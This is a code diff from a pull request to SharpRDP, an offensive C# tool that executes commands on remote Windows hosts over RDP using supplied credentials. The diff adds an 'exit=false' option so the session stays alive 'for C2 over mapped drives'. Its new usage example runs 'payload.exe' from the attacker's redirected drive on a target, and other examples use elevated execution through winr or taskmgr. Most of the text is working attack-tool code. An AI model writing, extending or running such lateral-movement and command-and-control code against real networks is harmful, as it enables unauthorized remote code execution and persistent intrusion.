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Added the exit=false flag to keep session alive after command execution #11

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Added the exit=false flag to keep session alive after command execution #11

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3a0a768
Added the exit=false flag to keep session alive after command execution
Nov 9, 2020
b4f0097
Removed debug changes
Nov 9, 2020
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25 changes: 20 additions & 5 deletions SharpRDP/SharpRDP/Client.cs
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Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ public class Client
private string target;
private string runtype;
private bool isdrive;
private bool exitend;
private bool takeover;
private bool networkauth;
private enum LogonErrors : uint
Expand Down Expand Up @@ -92,12 +93,13 @@ private enum DisconnectReasons : uint
SSL_ERR_SMARTCARD_WRONG_PIN = 0x1C07
}

public void CreateRdpConnection(string server, string user, string domain, string password, string command, string execw, string runelevated, bool condrive, bool tover, bool nla)
public void CreateRdpConnection(string server, string user, string domain, string password, string command, string execw, string runelevated, bool condrive, bool xitend, bool tover, bool nla)
{
keycode = new Dictionary<String, Code>();
KeyCodes();
runtype = runelevated;
isdrive = condrive;
exitend = xitend;
cmd = command;
target = server;
execwith = execw;
Expand Down Expand Up @@ -127,7 +129,7 @@ void ProcessTaskThread()
rdpConnection.UserName = user;
rdpConnection.AdvancedSettings9.allowBackgroundInput = 1;
rdpConnection.AdvancedSettings9.BitmapPersistence = 0;
if(condrive == true)
if (condrive == true)
{
rdpConnection.AdvancedSettings5.RedirectDrives = true;
}
Expand Down Expand Up @@ -238,12 +240,25 @@ private void RdpConnectionOnOnLoginComplete(object sender, EventArgs e)
{
RunRun();
}

Thread.Sleep(1000);
Console.WriteLine("[+] Disconnecting from : {0}", target);
rdpSession.Disconnect();

if (exitend)
{
Console.WriteLine("[+] Disconnecting from : {0}", target);
rdpSession.Disconnect();
}
else
{
Console.WriteLine("[+] Keeping session alive for C2 over mapped drives : {0}", target);
Console.WriteLine("[+] Ctrl+c or kill process to end", target);

// ignore all input and keep the session alive
Console.ReadKey();
}
}



private void RdpConnectionOnOnDisconnected(object sender, IMsTscAxEvents_OnDisconnectedEvent e)
{
DisconnectCode = e.discReason;
Expand Down
12 changes: 11 additions & 1 deletion SharpRDP/SharpRDP/Program.cs
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Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,8 @@ static void HowTo()
Console.WriteLine(" SharpRDP.exe computername=domain.target command=\"C:\\Temp\\file.exe\" username=domain\\user password=password elevated=winr");
Console.WriteLine(" Execute command elevated through task manager");
Console.WriteLine(" SharpRDP.exe computername=domain.target command=\"C:\\Temp\\file.exe\" username=domain\\user password=password elevated=taskmgr");
Console.WriteLine(" Execute payload through shared drive and keep connection active for C2");
Console.WriteLine(" SharpRDP.exe computername=domain.target command=\"\\\\tsclient\\C\\payload.exe\" username=domain\\user password=password connectdrive=true exit=false");
}
static void Main(string[] args)
{
Expand Down Expand Up @@ -60,6 +62,7 @@ static void Main(string[] args)
string execElevated = string.Empty;
string execw = "";
bool connectdrive = false;
bool exitend = true;
bool takeover = false;
bool nla = false;

Expand Down Expand Up @@ -129,6 +132,13 @@ static void Main(string[] args)
connectdrive = true;
}
}
if (arguments.ContainsKey("exit"))
{
if (arguments["exit"].ToLower() == "false")
{
exitend = false;
}
}
if (arguments.ContainsKey("takeover"))
{
if (arguments["takeover"].ToLower() == "true")
Expand All @@ -146,7 +156,7 @@ static void Main(string[] args)
string[] computerNames = arguments["computername"].Split(',');
foreach (string server in computerNames)
{
rdpconn.CreateRdpConnection(server, username, domain, password, command, execw, execElevated, connectdrive, takeover, nla);
rdpconn.CreateRdpConnection(server, username, domain, password, command, execw, execElevated, connectdrive, exitend, takeover, nla);
}
}
else
Expand Down